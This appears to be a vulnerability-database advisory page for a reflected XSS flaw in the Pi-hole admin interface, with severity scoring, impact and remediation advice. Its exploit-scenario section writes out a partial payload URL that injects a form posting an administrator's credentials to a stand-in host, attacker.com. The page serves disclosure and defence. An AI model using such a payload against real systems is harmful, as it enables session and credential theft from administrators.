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Web Interface EUVDEUVD-2026-19279

| CVE-2026-33403 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-06 security-advisories@github.com
6.1
CVSS 3.1 · Vendor: github
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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability presents moderate real-world risk despite the 6.1 CVSS score. The attack vector is network-based with low complexity (AV:N/AC:L) and requires no authentication (PR:N), making it broadly exploitable. However, it requires user interaction (UI:R)-the victim must click or be socially engineered into visiting a malicious link. The cross-site impact (S:C) with low confidentiality and integrity impact (C:L/I:L) reflects the credential exfiltration threat. While no KEV status or public exploit code is confirmed in the provided data, the straightforward nature of DOM-based XSS and the practical credential-theft scenario via form-action bypass make this a genuine priority for Pi-hole deployments exposed to untrusted users. Organizations should prioritize patching to 6.5 to eliminate the attack vector entirely, especially if the Pi-hole instance is accessible to less-technical household or small-business users who may be vulnerable to phishing with malicious URLs.

Exploit ScenarioDerived

An attacker crafts a malicious URL such as http://target-pihole.local/admin/index.php?file=<img%20src=x%20onerror=document.body.innerHTML='<form%20action=%22http://attacker.com/steal%22...> and sends it to a Pi-hole administrator via email or social engineering. When the administrator clicks the link, the injected HTML executes in their browser within the authenticated context of the Pi-hole admin panel. A hidden form automatically submits the administrator's session token or credential-related data to the attacker's server. The attacker then uses the stolen session or credentials to gain administrative access to the Pi-hole instance, allowing them to modify filtering rules, disable ad-blocking, or pivot to further network compromise. No special exploit code is required beyond basic URL encoding; the attack relies purely on the XSS vulnerability and user interaction.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

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AnalysisAIv1 – Apr 06, 2026

Reflected DOM-based XSS in Pi-hole Admin Interface versions 6.0 through 6.4 allows unauthenticated attackers to inject arbitrary HTML via a crafted malicious URL targeting the file parameter in taillog.js, potentially enabling credential exfiltration through injected form elements due to a missing form-action Content-Security-Policy directive; fixed in version 6.5.

RemediationAI

Upgrade Pi-hole Admin Interface to version 6.5 or later, which contains the fix for this reflected XSS vulnerability. This is the primary remediation. Users unable to upgrade immediately should implement network-level access controls to restrict access to the Pi-hole admin interface (typically port 80/443) to trusted IP addresses only, reducing the likelihood of untrusted users encountering malicious URLs targeting the interface. Additionally, review and strengthen the Content-Security-Policy configuration to explicitly include the form-action directive restricting form submissions to same-origin only. For detailed guidance and confirmation of patch deployment, consult https://github.com/pi-hole/web/security/advisories/GHSA-7xqw-r9pr-qv59.

Affected VersionsENISA

Web 6.0, < 6.5

Affected Packages

euvd web_6_0 fix: 6.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the taillog.js file of Pi-hole's web administration interface, where user-supplied input from the file query parameter is directly interpolated into an innerHTML assignment without HTML entity encoding or input sanitization. This is a DOM-based XSS vulnerability (CWE-79) where the attack occurs on the client-side during page rendering. The root cause is compounded by an incomplete Content-Security-Policy that lacks the form-action directive, which would normally prevent form submissions to external origins. An attacker can craft a URL containing HTML/JavaScript payloads in the file parameter; when a user visits this malicious URL, the injected code executes in the context of the Pi-hole admin interface, potentially allowing interception of session tokens or credentials through injected form fields that submit to attacker-controlled servers.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (github) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (github) · only source for this CVE.

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
Apr 16, 2026 - 05:29 EUVD
6.5
CVE Published
Apr 06, 2026 - 15:17 nvd
MEDIUM 6.1

DescriptionCVE.org

Pi-hole Admin Interface is a web interface for managing Pi-hole, a network-level ad and internet tracker blocking application. From 6.0 to before 6.5, a reflected DOM-based XSS vulnerability in taillog.js allows an unauthenticated attacker to inject arbitrary HTML into the Pi-hole admin interface by crafting a malicious URL. The file query parameter is interpolated into an innerHTML assignment without escaping. Because the Content-Security-Policy is missing the form-action directive, injected <form> elements can exfiltrate credentials to an external origin. This vulnerability is fixed in 6.5.

Threat Intelligence Overview

EPSS Score
0.1%
Top 83% exploitable
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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